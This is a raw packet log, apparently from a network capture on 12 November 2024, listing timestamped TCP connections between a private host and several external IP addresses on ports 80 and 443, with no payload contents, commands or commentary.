Nov 12, 2024 15:41:27.469821930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469834089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469841003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.469855070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469855070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.469866037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469875097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469881058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.469886065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469902992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.469908953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469921112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.469926119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469939947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469945908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.469952106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469963074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469968081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.469971895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.469983101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.470015049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.470392942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.470443964 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.470468998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.470493078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.470504045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.470505953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.470518112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.470530987 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.470556021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.470995903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.471018076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.471029997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.471040964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.471046925 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.471067905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.471088886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.471096039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.471107960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.471117973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.471132994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.471137047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.471148014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.471162081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.471177101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.835596085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:27.840650082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:28.629966974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:28.630515099 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:33.790227890 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:33.790280104 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:36.061610937 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:36.062901020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:55.848892927 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:55.848946095 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:55.849014044 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:55.849574089 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:55.849585056 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.687824965 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.687992096 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.692415953 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.692426920 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.692646980 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.701360941 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.747333050 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.980117083 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.980146885 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.980165958 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.980210066 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.980261087 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.980277061 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.980305910 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.981201887 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.981250048 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.981290102 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.981297016 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.981317043 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.981967926 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.982021093 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.985888004 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.985888004 CET	49762	443	192.168.2.4	20.12.23.50
Nov 12, 2024 15:41:56.985903978 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:56.985913038 CET	443	49762	20.12.23.50	192.168.2.4
Nov 12, 2024 15:41:58.853857040 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:58.853894949 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:58.853965044 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:58.854233027 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:58.854244947 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.652430058 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.652578115 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:59.654064894 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:59.654084921 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.654293060 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.663156986 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:59.707331896 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.901622057 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.901652098 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.901668072 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.901705980 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:59.901746035 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.901762962 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:59.901796103 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:59.920742035 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.920764923 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.920799017 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:59.920830011 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:41:59.920846939 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:41:59.920882940 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.025754929 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.025784016 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.025944948 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.025980949 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.026030064 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.043796062 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.043822050 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.043893099 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.043917894 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.043934107 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.043957949 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.045615911 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.045634031 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.045686007 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.045691967 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.045730114 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.047410965 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.047426939 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.047466040 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.047472000 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.047493935 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.047508955 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.149023056 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.149049997 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.149144888 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.149174929 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.149331093 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.166346073 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.166368961 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.166491032 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.166522980 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.166577101 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.167701960 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.167716026 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.167769909 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.167778969 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.167815924 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.168286085 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.168301105 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.168344021 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.168350935 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.168385029 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.170063019 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.170077085 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.170130014 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.170137882 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.170171976 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.171073914 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.171087980 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.171134949 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.171142101 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.171175003 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.208746910 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.208777905 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.208832026 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.208858967 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.208883047 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.208899975 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.271846056 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.271939993 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.271944046 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.271986961 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.272056103 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.272083998 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.272097111 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.272100925 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.311105967 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.311125040 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.311161041 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.311161995 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.311265945 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.311563969 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.311717033 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.311731100 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.311826944 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.311836958 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.313400030 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.313421965 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.313488960 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.313612938 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.313625097 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.314449072 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.314466000 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.314522982 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.315124989 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.315177917 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.315232038 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.315274954 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.315284967 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:00.315372944 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:00.315387011 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.134107113 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.135091066 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.136475086 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.146696091 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.149434090 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.149458885 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.149883986 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.149903059 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.150279999 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.150285006 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.150341988 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.150346041 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.150530100 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.150554895 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.150635958 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.150643110 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.151097059 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.151107073 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.151165009 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.151170969 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.276314974 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.276484013 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.276540995 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.277921915 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.277950048 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.277991056 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.278017998 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.278117895 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.278156042 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.279078960 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.279103041 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.279150963 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.279175997 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.279215097 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.279618979 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.279654026 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.279689074 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.283994913 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.284019947 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.284065962 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.284079075 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.284090996 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.284111023 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.284135103 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.312361002 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.312385082 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.312396049 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.312401056 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.313601017 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.313632965 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.313646078 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.313652039 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.314431906 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.314466953 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.314502954 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.314511061 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.315181017 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.315198898 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.315211058 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.315216064 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.346875906 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.346930981 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.347002029 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.348432064 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.348484039 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.348537922 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.348699093 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.348709106 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.348754883 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.352829933 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.352859974 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.352911949 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.353352070 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.353362083 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.353461981 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.353472948 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.353537083 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.353560925 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:01.353625059 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:01.353635073 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.305119038 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.312124968 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.312153101 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.312627077 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.312634945 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.313338041 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.313657999 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.313709021 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.314037085 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.314050913 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.314425945 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.314627886 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.314656973 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.314930916 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.314938068 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.437027931 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.437175035 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.437241077 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.437377930 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.437400103 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.437411070 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.437417030 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.440550089 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.440607071 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.440696955 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.440865040 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.440876007 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.443967104 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.444118977 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.444164038 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.444217920 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.444233894 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.444246054 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.444252014 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.444638014 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.444755077 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.444793940 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.444904089 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.444916964 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.444936037 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.444941044 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.446261883 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.446281910 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.446363926 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.446470976 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.446480989 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.446855068 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.446892023 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:02.446944952 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.447086096 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:02.447094917 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.169611931 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.170176029 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.170212030 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.170450926 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.170655966 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.170660973 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.170739889 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.170747995 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.171216965 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.171222925 CET	443	49773	13.107.246.45	192.168.2.4
